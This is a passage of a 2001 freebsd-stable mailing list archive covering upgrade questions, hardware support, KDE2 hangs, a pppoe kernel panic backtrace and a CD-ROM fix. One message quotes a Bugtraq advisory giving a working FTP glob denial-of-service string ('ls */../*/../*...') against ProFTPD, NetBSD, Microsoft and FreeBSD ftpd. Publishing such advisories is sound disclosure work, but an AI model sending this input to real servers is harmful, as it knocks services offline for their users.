-0800 (PST) (envelope-from mij@osdn.com) Received: from guinness.osdn.com (root@localhost [127.0.0.1]) by snarf.osdn.com (8.11.3/8.11.3) with ESMTP id f2HFNZ508095; Sat, 17 Mar 2001 10:23:35 -0500 (EST) (envelope-from mij@osdn.com) Received: (from jim@localhost) by guinness.osdn.com (8.11.3/8.11.3) id f2HFNOG23918; Sat, 17 Mar 2001 10:23:24 -0500 (EST) (envelope-from mij@osdn.com) X-Authentication-Warning: guinness.osdn.com: jim set sender to mij@osdn.com using -f Date: Sat, 17 Mar 2001 10:23:22 -0500 From: Jim Mock To: nefr0ma Cc: freebsd-stable@FreeBSD.ORG Subject: Re: Make buildworld fails Message-ID: <20010317102321.A16347@guinness.osdn.com> Reply-To: mij@osdn.com References: <3AB2CC07.1EB280AB@metrotel.net.co> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.16i In-Reply-To: <3AB2CC07.1EB280AB@metrotel.net.co>; from fmiranda@metrotel.net.co on Fri, Mar 16, 2001 at 09:29:28PM -0500 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 16 Mar 2001 at 21:29:28 -0500, nefr0ma wrote: > Hello, my machine runs freebsd -4.0-release, but, it has been > impossible to upgrade it to 4-stable, or 4.2. I'm trying to upgrade it > to 4.0-stable, this tag in the supfile is "RELENG=4_0_0_RELEASE", i > can "cvsup" the source code suceffully, but "making" buildworld i get > this error: First of all, there is no 4.0-STABLE. Secondly, there is no such tag as "RELENG=4_0_0_RELEASE". There's a RELENG_4_0_0_RELEASE, but that will get you 4.0-RELEASE, which you have already. I suggest you try reading the docs available to you (the handbook, faq, and /usr/src/UPDATING). - jim -- - jim mock - O|S|D|N - open source development network - - http://www.freebsdzine.org/ - jim@freebsdzine.org - jim@FreeBSD.org - To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 7:26:13 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mgate11.so-net.ne.jp (mgate11.so-net.ne.jp [210.139.254.158]) by hub.freebsd.org (Postfix) with ESMTP id 7D21E37B719 for ; Sat, 17 Mar 2001 07:26:09 -0800 (PST) (envelope-from hiraga@ba2.so-net.ne.jp) Received: from mail.ba2.so-net.ne.jp (mail.ba2.so-net.ne.jp [210.139.254.21]) by mgate11.so-net.ne.jp (8.9.3/3.7W01031514) with ESMTP id AAA13088; Sun, 18 Mar 2001 00:24:49 +0900 (JST) Received: from skyline.hiraga.ba2.so-net.ne.jp (p78a0b8.kngwnt01.ap.so-net.ne.jp [61.120.160.184]) by mail.ba2.so-net.ne.jp (8.8.8/3.7W01022316) with ESMTP id AAA00531; Sun, 18 Mar 2001 00:19:26 +0900 (JST) Received: from localhost (localhost [127.0.0.1]) by skyline.hiraga.ba2.so-net.ne.jp (8.11.2/8.11.2) with ESMTP id f2HFJNq41059; Sun, 18 Mar 2001 00:19:24 +0900 (JST) (envelope-from hiraga@ba2.so-net.ne.jp) To: stable@FreeBSD.ORG, khera@kciLink.com Cc: hiraga@ba2.so-net.ne.jp Subject: Re: Dell PERC3-DCL support? From: Toshio Hiraga In-Reply-To: <15025.7436.951696.451824@onceler.kciLink.com> References: <15025.7436.951696.451824@onceler.kciLink.com> X-Mailer: Mew version 1.94.2 on Emacs 20.7 / Mule 4.1 =?iso-2022-jp?B?KBskQjAqGyhCKQ==?= Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010318001922U.hiraga@ba2.so-net.ne.jp> Date: Sun, 18 Mar 2001 00:19:22 +0900 X-Dispatcher: imput version 20000228(IM140) Lines: 16 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG From: Vivek Khera Message-ID: <15025.7436.951696.451824@onceler.kciLink.com> > According to the release notes for 4.2-BETA (as of today), the Dell > PERC3 is supported in its Di, QC, and Si variants. Dell is currently > selling what they call PERC3-DCL (Presumably for Dual Channel). Is > this also supported? It is found on their new 1U PowerEdge 1550 > boxes. I had tested the Dell PowerEdge 1550 one month ago. The PERC3-DCL of PE1550 worked fine with amr driver on 4.2-STABLE. The DCL(light) seems to be a no battery backup model as compared with DC. -- Toshio Hiraga PGP fingerprint: B2 4D 90 57 64 33 C6 BB 1A F2 98 F1 F4 13 F8 9B To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 7:47:17 2001 Delivered-To: freebsd-stable@freebsd.org Received: from midget.dons.net.au (daniel.lnk.telstra.net [139.130.137.70]) by hub.freebsd.org (Postfix) with ESMTP id 3B5E437B719 for ; Sat, 17 Mar 2001 07:47:12 -0800 (PST) (envelope-from darius@dons.net.au) Received: from cain.gsoft.com.au (guppy.dons.net.au [203.31.81.9]) by midget.dons.net.au (8.11.3/8.9.3) with ESMTP id f2HFlAi04129; Sun, 18 Mar 2001 02:17:10 +1030 (CST) (envelope-from darius@dons.net.au) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Sun, 18 Mar 2001 02:16:04 +1030 (CST) From: "Daniel O'Connor" To: freebsd-stable@freebsd.org Subject: KDE2 on -stable Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I recently compiled KDE2 on a PIII-800 -stable box and it thus far seems to work perfectly.. However when I tried it on a dual PII-350 running -stable I got it to compile (Had to do some -pthread stuff) but it now hangs occasionally (well konq does).. It seems that kdeinit is chewing up all the CPU.. When I attach I get -> Reading symbols from /usr/local/lib/liblcms.so.1... (no debugging symbols found)...done. Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols found)... done. 0x28e516ca in _thread_sigframe_restore () from /usr/lib/libc_r.so.4 (gdb) info thread * 1 process 576, thread 1 0x28e516ca in _thread_sigframe_restore () from /usr/lib/libc_r.so.4 Ick :) The stable it _doesn't_ work on is newer. I would really really like it if KDE2 worked for 4.3 :) (yeah yeah, there are no diffs attached..) --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 8: 7: 7 2001 Delivered-To: freebsd-stable@freebsd.org Received: from www.jetnet.co.uk (www.jetnet.co.uk [62.172.71.4]) by hub.freebsd.org (Postfix) with ESMTP id 2B6D937B718 for ; Sat, 17 Mar 2001 08:07:04 -0800 (PST) (envelope-from dreid@jetnet.co.uk) Received: from godzilla (host217-32-124-131.hg.mdip.bt.net [217.32.124.131]) (authenticated) by www.jetnet.co.uk (8.11.1/8.11.1) with ESMTP id f2HG70B06750 for ; Sat, 17 Mar 2001 16:07:00 GMT Message-ID: <00a401c0aefb$62f658f0$011aa8c0@godzilla> From: "David Reid" To: Subject: GLib? Date: Sat, 17 Mar 2001 16:00:25 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Building glib from CVS I get an error about undefined symbol getpwuid_r? As I'm guessing people have done this and it's built, what's the deal with this? How do I fix it? Why doesn't it build "out of the box"?? david To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 8:19:13 2001 Delivered-To: freebsd-stable@freebsd.org Received: from level3.dynacom.net (level3.dynacom.net [206.107.213.213]) by hub.freebsd.org (Postfix) with SMTP id 48E9B37B719 for ; Sat, 17 Mar 2001 08:19:09 -0800 (PST) (envelope-from kstewart@urx.com) Received: (qmail 15632 invoked by uid 0); 17 Mar 2001 16:19:08 -0000 Received: from unknown (HELO urx.com) (206.159.132.160) by mail.urx.com with SMTP; 17 Mar 2001 16:19:08 -0000 Message-ID: <3AB38E7B.2A218682@urx.com> Date: Sat, 17 Mar 2001 08:19:07 -0800 From: Kent Stewart Reply-To: kstewart@urx.com Organization: Dynacom X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Daniel O'Connor Cc: freebsd-stable@freebsd.org Subject: Re: KDE2 on -stable References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Daniel O'Connor wrote: > > I recently compiled KDE2 on a PIII-800 -stable box and it thus far seems to > work perfectly.. > > However when I tried it on a dual PII-350 running -stable I got it to compile > (Had to do some -pthread stuff) but it now hangs occasionally (well konq does).. You must be running XFree86 4.0.x. I don't have to do the -pthread stuff and it seems to be working. I recently updated libmng,, which broke KDE-2. This forced me to rebuild qt-2.2.4 and then all of the kde-2.1 stuff. I had updated my ports and somewhere in there had updated libmng without thinking about the consquences. Fortunately on that computer, a rebuild of kde isn't that long. That system, which has dual 866 coppermines, is running W2K right now. I have to process some old setiathome wu's before they expire, which is around two weeks. It doesn't take long to catch up and then I can check it again. At one point a while back, I had kicker taking 99% of the cpu-1 and everything else was running on cpu-0. I saw strange activity on top one time and tried loging out. The screen only blinked and the activity from top went back to normal. I haven't seen this recently. It may be that what ever triggers it hasn't been executed recently. Kent > > It seems that kdeinit is chewing up all the CPU.. When I attach I get -> > Reading symbols from /usr/local/lib/liblcms.so.1... > (no debugging symbols found)...done. > Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols found)... > done. > 0x28e516ca in _thread_sigframe_restore () from /usr/lib/libc_r.so.4 > (gdb) info thread > * 1 process 576, thread 1 0x28e516ca in _thread_sigframe_restore () > from /usr/lib/libc_r.so.4 > > Ick :) > > The stable it _doesn't_ work on is newer. > > I would really really like it if KDE2 worked for 4.3 :) > (yeah yeah, there are no diffs attached..) > > --- > Daniel O'Connor software and network engineer > for Genesis Software - http://www.gsoft.com.au > "The nice thing about standards is that there > are so many of them to choose from." > -- Andrew Tanenbaum > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://kstewart.urx.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 8:22:15 2001 Delivered-To: freebsd-stable@freebsd.org Received: from midget.dons.net.au (daniel.lnk.telstra.net [139.130.137.70]) by hub.freebsd.org (Postfix) with ESMTP id 17CB037B74D for ; Sat, 17 Mar 2001 08:22:03 -0800 (PST) (envelope-from doconnor@gsoft.com.au) Received: from cain.gsoft.com.au (guppy.dons.net.au [203.31.81.9]) by midget.dons.net.au (8.11.3/8.9.3) with ESMTP id f2HGLui15738; Sun, 18 Mar 2001 02:51:56 +1030 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <3AB38E7B.2A218682@urx.com> Date: Sun, 18 Mar 2001 02:50:46 +1030 (CST) From: "Daniel O'Connor" To: Kent Stewart Subject: Re: KDE2 on -stable Cc: freebsd-stable@freebsd.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 17-Mar-01 Kent Stewart wrote: > > (Had to do some -pthread stuff) but it now hangs occasionally (well konq > > does).. > You must be running XFree86 4.0.x. I don't have to do the -pthread > stuff and it seems to be working. I recently updated libmng,, which None of these machines have X4 installed. Unfortunatly I didn't do the two machines at the same time.. The first one built perfectly, but when I did the second one (which was yesterday) I had to add -pthread magic :( I don't know if that is the cause of my problems or not. Perhaps I should generate packages from the working machine. --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 8:34: 3 2001 Delivered-To: freebsd-stable@freebsd.org Received: from front7m.grolier.fr (front7m.grolier.fr [195.36.216.57]) by hub.freebsd.org (Postfix) with ESMTP id 39B4437B71A for ; Sat, 17 Mar 2001 08:33:37 -0800 (PST) (envelope-from dockes@wanadoo.fr) Received: from hautmedoc.dockes.com (bas6-90.idf7-1.club-internet.fr [195.36.253.90]) by front7m.grolier.fr (8.9.3/No_Relay+No_Spam_MGC990224) with ESMTP id RAA05092 for ; Sat, 17 Mar 2001 17:33:34 +0100 (MET) Received: (from dockes@localhost) by hautmedoc.dockes.com (8.9.3/8.9.3) id RAA00496; Sat, 17 Mar 2001 17:33:04 +0100 (MET) From: Jean-Francois Dockes MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15027.37312.117097.518069@hautmedoc.dockes.com> Date: Sat, 17 Mar 2001 17:33:04 +0100 (MET) To: freebsd-stable@FreeBSD.ORG Subject: 4.3beta pppoe + 3c905b -> fatal trap 12 X-Mailer: VM 6.75 under 20.4 "Emerald" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am using user-mode ppp with pppoe. It had been running on a DEC based board (de driver) for a few months without trouble. Yesterday I changed the board for a 3COM 3C905B-TX -> crash I then cvsupped the system to 4.3beta (March 16), no change, the machine now reliably crashes each time ppp starts. Here follow the gdb backtrace and the boot messages, which I hope will make sense for someone. I can perform more testing or gdb incantations if something else is needed. Regards, J.F. Dockes IdlePTD 3727360 initial pcb at 2f5dc0 panicstr: page fault panic messages: --- Fatal trap 12: page fault while in kernel mode fault virtual address = 0x4 fault code = supervisor write, page not present instruction pointer = 0x8:0xc0219b5f stack pointer = 0x10:0xcc277c98 frame pointer = 0x10:0xcc277ca8 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 389 (ppp) interrupt mask = net trap number = 12 panic: page fault (kgdb) bt #0 dumpsys () at ../../kern/kern_shutdown.c:469 #1 0xc015d813 in boot (howto=256) at ../../kern/kern_shutdown.c:309 #2 0xc015db90 in poweroff_wait (junk=0xc02c5f4f, howto=-869906560) at ../../kern/kern_shutdown.c:556 #3 0xc0282849 in trap_fatal (frame=0xcc277c58, eva=4) at ../../i386/i386/trap.c:951 #4 0xc0282521 in trap_pfault (frame=0xcc277c58, usermode=0, eva=4) at ../../i386/i386/trap.c:844 #5 0xc02820db in trap (frame={tf_fs = 16, tf_es = 16, tf_ds = 16, tf_edi = 0, tf_esi = -1056555008, tf_ebp = -869827416, tf_isp = -869827452, tf_ebx = 0, tf_edx = -1064305664, tf_ecx = 0, tf_eax = 0, tf_trapno = 12, tf_err = 2, tf_eip = -1071539361, tf_cs = 8, tf_eflags = 66118, tf_esp = 0, tf_ss = -1056555008}) at ../../i386/i386/trap.c:443 #6 0xc0219b5f in xl_encap_90xB (sc=0xc1064000, c=0xc1064734, m_head=0xc08ffc00) at ../../pci/if_xl.c:2341 #7 0xc0219c55 in xl_start_90xB (ifp=0xc1064000) at ../../pci/if_xl.c:2393 #8 0xc019f514 in ether_output_frame (ifp=0xc1064000, m=0xc08ffc00) at ../../net/if_ethersubr.c:399 #9 0xc01a8cf4 in ng_ether_rcv_lower (node=0xc106e080, m=0xc08ffc00, meta=0x0) at ../../netgraph/ng_ether.c:629 #10 0xc01a8c1d in ng_ether_rcvdata (hook=0xc11b4a00, m=0xc08ffc00, meta=0x0) at ../../netgraph/ng_ether.c:595 #11 0xc01a64f1 in ng_send_data (hook=0xc11b49c0, m=0xc08ffc00, meta=0x0) at ../../netgraph/ng_base.c:1648 #12 0xc01aa7b1 in sendpacket (sp=0xc11c82c0) at ../../netgraph/ng_pppoe.c:1451 #13 0xc01a9a66 in pppoe_start (sp=0xc11c82c0) at ../../netgraph/ng_pppoe.c:754 #14 0xc01a98ec in ng_pppoe_rcvmsg (node=0xc1203280, msg=0xc11c8800, retaddr=0xc11b4b80 "[4]:", rptr=0xcc277e28) at ../../netgraph/ng_pppoe.c:660 #15 0xc01a5a15 in ng_send_msg (here=0xc11c87c0, msg=0xc11c8800, address=0xc1078940 ".:tun0", rptr=0xcc277e28) at ../../netgraph/ng_base.c:1180 #16 0xc01aaa1c in ngc_send (so=0xcac99900, flags=0, m=0xc0900c00, addr=0xc1078920, control=0x0, p=0xcc264780) at ../../netgraph/ng_socket.c:242 #17 0xc017a937 in sosend (so=0xcac99900, addr=0xc1078920, uio=0xcc277ed0, top=0xc0900c00, control=0x0, flags=0, p=0xcc264780) at ../../kern/uipc_socket.c:611 #18 0xc017e0eb in sendit (p=0xcc264780, s=0, mp=0xcc277f10, flags=0) at ../../kern/uipc_syscalls.c:583 #19 0xc017e1ed in sendto (p=0xcc264780, uap=0xcc277f80) at ../../kern/uipc_syscalls.c:636 #20 0xc0282af5 in syscall2 (frame={tf_fs = 47, tf_es = 47, tf_ds = 47, tf_edi = -1077941511, tf_esi = -1077941518, tf_ebp = -1077941004, tf_isp = -869826604, tf_ebx = 672842952, tf_edx = -1077941520, tf_ecx = -1077941520, tf_eax = 133, tf_trapno = 12, tf_err = 2, tf_eip = 673083660, tf_cs = 31, tf_eflags = 518, tf_esp = -1077941608, tf_ss = 47}) at ../../i386/i386/trap.c:1150 #21 0xc0274ca5 in Xint0x80_syscall () #22 0x281aa989 in ?? () #23 0x807bcfc in ?? () #24 0x80703eb in ?? () #25 0x8059efc in ?? () #26 0x804cda1 in ?? () #27 0x806b4c7 in ?? () #28 0x806b3a7 in ?? () #29 0x804b25d in ?? () Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 4.3-BETA #0: Sat Mar 17 16:04:47 MET 2001 dockes@hautmedoc:/u/src/sys/compile/HAUTMEDOC Timecounter "i8254" frequency 1193182 Hz CPU: Pentium III/Pentium III Xeon/Celeron (451.02-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x672 Stepping = 2 Features=0x383f9ff real memory = 201261056 (196544K bytes) avail memory = 192184320 (187680K bytes) Preloaded elf kernel "kernel" at 0xc036f000. Preloaded userconfig_script "/boot/kernel.conf" at 0xc036f09c. Pentium Pro MTRR support enabled md0: Malloc disk npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 pcib1: at device 1.0 on pci0 pci1: on pcib1 pci1: at 0.0 isab0: at device 7.0 on pci0 isa0: on isab0 atapci0: port 0xf000-0xf00f at device 7.1 on pci0 ata0: at 0x1f0 irq 14 on atapci0 ata1: at 0x170 irq 15 on atapci0 uhci0: port 0xd000-0xd01f irq 11 at device 7.2 on pci0 usb0: on uhci0 usb0: USB revision 1.0 uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered chip1: port 0x5000-0x500f at device 7.3 on pci0 de0: port 0xd400-0xd47f mem 0xe9800000-0xe980007f irq 10 at device 9.0 on pci0 de0: 21140A [10-100Mb/s] pass 2.2 de0: address 00:80:c8:4f:e7:2c ahc0: port 0xd800-0xd8ff mem 0xe9802000-0xe9802fff irq 5 at device 10.0 on pci0 aic7880: Single Channel A, SCSI Id=7, 16/255 SCBs xl0: <3Com 3c905B-TX Fast Etherlink XL> port 0xdc00-0xdc7f mem 0xe9801000-0xe980107f irq 9 at device 11.0 on pci0 xl0: Ethernet address: 00:50:da:43:a5:c3 miibus0: on xl0 ukphy0: on miibus0 ukphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto pci0: (vendor=0x13f6, dev=0x0111) at 12.0 irq 11 fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 atkbdc0: at port 0x60,0x64 on isa0 atkbd0: flags 0x1 irq 1 on atkbdc0 kbd0 at atkbd0 psm0: irq 12 on atkbdc0 psm0: model Generic PS/2 mouse, device ID 0 vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A ppc0: at port 0x378-0x37f irq 7 on isa0 ppc0: Generic chipset (EPP/NIBBLE) in COMPATIBLE mode ppbus0: IEEE1284 device found /NIBBLE/ECP Probing for PnP devices on ppbus0: ppbus0: MLC,PCL,PML lpt0: on ppbus0 lpt0: Interrupt-driven port ppi0: on ppbus0 IP packet filtering initialized, divert disabled, rule-based forwarding enabled, default to accept, logging limited to 100 packets/entry by default ad0: 6179MB [12556/16/63] at ata0-master UDMA33 ata0-slave: DMA limited to UDMA33, non-ATA66 compliant cable ad1: 6187MB [13410/15/63] at ata0-slave UDMA33 acd0: DVD-ROM at ata1-master using PIO4 Waiting 10 seconds for SCSI devices to settle de0: enabling Full Duplex 100baseTX port Mounting root from ufs:/dev/ad0s2a To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 9:12:43 2001 Delivered-To: freebsd-stable@freebsd.org Received: from unbeat.com (24-168-37-22.nyc.rr.com [24.168.37.22]) by hub.freebsd.org (Postfix) with ESMTP id 51A7F37B71A for ; Sat, 17 Mar 2001 09:12:34 -0800 (PST) (envelope-from moxie@unbeat.com) Received: (from moxie@localhost) by unbeat.com (8.11.2/8.11.2) id f2GIcuJ00914; Fri, 16 Mar 2001 13:38:56 -0500 (EST) (envelope-from moxie) Date: Fri, 16 Mar 2001 13:38:56 -0500 From: JT To: David Reid Cc: stable@FreeBSD.ORG Subject: Re: cdrom Message-ID: <20010316133855.C284@zed.unbeat.com> References: <008901c0acdf$4f225b30$011aa8c0@godzilla> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <008901c0acdf$4f225b30$011aa8c0@godzilla>; from dreid@jetnet.co.uk on Wed, Mar 14, 2001 at 11:34:23PM -0000 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have the same drive and always get the "retries exceeded" message even when it works (4-stable and a vaio). If you haven't used other cards successfully in the slot, I'd make sure that you've followed the advice in the archives regarding pcic configuration (no polling on vaios, so change irq 0 to irq 10 or something, and change the memory location from d0000 to d4000 or something). I bet that's your problem. You will probably still notice that if the drive is not there on boot, it will have no power. My "solution" for this is always to suspend and resume before inserting the drive. On Wed, Mar 14, 2001 at 11:34:23PM -0000, David Reid wrote: > I'm getting a No such file or directory when I try to mount a CDROM with > 4-STABLE. I've seen some stuff about this and have tried as many of the > suggestions as I can, but no joy. The CDROM is a pccard one so I'm > wondering if that'll be the cause? Laptop is a Vaio and pccard did > eventually find the CDROM when I inserted it, but it took a while and there > was an error message > > ata4-slave: identify retries exceeded > > It found the unit as > > acd0: CDROM at ata4-master using BIOSPIO > > Anyone any ideas? > > david > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 9:12:48 2001 Delivered-To: freebsd-stable@freebsd.org Received: from unbeat.com (24-168-37-22.nyc.rr.com [24.168.37.22]) by hub.freebsd.org (Postfix) with ESMTP id A3FE837B71B for ; Sat, 17 Mar 2001 09:12:35 -0800 (PST) (envelope-from moxie@unbeat.com) Received: (from moxie@localhost) by unbeat.com (8.11.2/8.11.2) id f2GIA5t00540; Fri, 16 Mar 2001 13:10:05 -0500 (EST) (envelope-from moxie) Date: Fri, 16 Mar 2001 13:10:05 -0500 From: JT To: "Frank DENIS (Jedi/Sector One)" Cc: BUGTRAQ@SECURITYFOCUS.COM, freebsd-stable@FreeBSD.ORG Subject: Re: Multiple vendors FTP denial of service Message-ID: <20010316131005.A284@zed.unbeat.com> Mail-Followup-To: "Frank DENIS (Jedi/Sector One)" , BUGTRAQ@SECURITYFOCUS.COM, freebsd-stable@freebsd.org References: <20010315093409.A5565@synchron.home.rtchat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010315093409.A5565@synchron.home.rtchat.com>; from j@4U.NET on Thu, Mar 15, 2001 at 09:34:09AM +0100 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This does work on FreeBSD 4-stable as well (ftp announces itself as(Version 6.00LS)). This should probably work on any ftp that uses an external ls command, and other than making ftpd friendly for use by login.conf (which would mean what? ftpd dropping privileges to the user once a connection is made? I'm betting this is not so simple though I'd love to hear from one who knows), I don't know what else to do - perhaps modify inetd.conf to run ftpd with resource limits? The shell is the locus of the problem here; it's really just simple filename globbing expanding into a very large set of pathnames to check; what is interesting is to test this from the shell (look in ftpcmd.y to see where I got this command): ls -lgA */../* is fine, but; ls -lgA */../*/../* results in: ls: Argument list too long while extending this further results in CPU hogging as observed by ftpd. This demonstrates that the ls command can't be 'fixed' to prevent this problem. The filename globbing - which is where the resource hogging happens - happens before the final list is passed to ls. Jason T On Thu, Mar 15, 2001 at 09:34:09AM +0100, Frank DENIS (Jedi/Sector One) wrote: > - Proftpd built-in 'ls' command has a globbing bug that allows remote > denial-of-service. > > Here's a simple exploit, tested on the Proftpd site : > > $ ftp ftp.proftpd.org > ... > Name (ftp.proftpd.org:j): ftp > ... > 230 Anonymous access granted, restrictions apply. > Remote system type is UNIX. > Using binary mode to transfer files. > ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* > 227 Entering Passive Mode (216,10,40,219,4,111). > 421 Service not available, remote server timed out. Connection closed > > That command takes 100% CPU time on the server. It can lead into an easy > DOS even if few remote simultanous connections are allowed. > > Other FTP servers may be concerned as well. Here are various tries : > > - NetBSD FTP showed the same behavior than Proftpd : > > ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* > 200 EPRT command successful. > (long delay) > 421 Service not available, remote server timed out. Connection closed > > So NetBSD-ftpd 20000723a may also consume 100% cpu time, resulting in a > possible DOS. Other BSD FTP may be affected as well. > > - Microsoft FTP Service (Version 5.0) seems also confused by the command : > ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* > 500 'EPSV': command not understood > 227 Entering Passive Mode (207,46,133,140,4,223). > 200 PORT command successful. > 150 Opening ASCII mode data connection for file list. > (very long delay... nothing happens...) > > - Publicfile refuses the command : > > ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* > 227 =131,193,178,181,97,222 > 550 Sorry, I can't open that file: file does not exist. > > - Wu-FTPd 2.6.1 is not vulnerable. Only the result of 'ls *' is computed and > displayed. > > - PureFTPd (any version) is not vulnerable. Result is "Simplified wildcard > expression to *" and the 'ls *' output. > > > Maintainers of vulnerable servers have been warned of this bug. > > -- > -=- Frank DENIS aka Jedi/Sector One < spam@jedi.claranet.fr > -=- > LINAGORA SA (Paris, France) : http://www.linagora.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 9:15:59 2001 Delivered-To: freebsd-stable@freebsd.org Received: from www.jetnet.co.uk (www.jetnet.co.uk [62.172.71.4]) by hub.freebsd.org (Postfix) with ESMTP id B414337B719 for ; Sat, 17 Mar 2001 09:15:55 -0800 (PST) (envelope-from dreid@jetnet.co.uk) Received: from godzilla (host217-32-124-131.hg.mdip.bt.net [217.32.124.131]) (authenticated) by www.jetnet.co.uk (8.11.1/8.11.1) with ESMTP id f2HHFqB07274 for ; Sat, 17 Mar 2001 17:15:52 GMT Message-ID: <00f901c0af05$01e1dad0$011aa8c0@godzilla> From: "David Reid" To: References: <008901c0acdf$4f225b30$011aa8c0@godzilla> <20010316133855.C284@zed.unbeat.com> Subject: Re: cdrom Date: Sat, 17 Mar 2001 17:08:09 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Just to keep you all informed, that fixed it :) david > > I have the same drive and always get the "retries exceeded" message > even when it works (4-stable and a vaio). > > If you haven't used other cards successfully in the slot, I'd make > sure that you've followed the advice in the archives regarding pcic > configuration (no polling on vaios, so change irq 0 to irq 10 or > something, and change the memory location from d0000 to d4000 or > something). I bet that's your problem. > > You will probably still notice that if the drive is not there on boot, > it will have no power. My "solution" for this is always to suspend and > resume before inserting the drive. > > > On Wed, Mar 14, 2001 at 11:34:23PM -0000, David Reid wrote: > > I'm getting a No such file or directory when I try to mount a 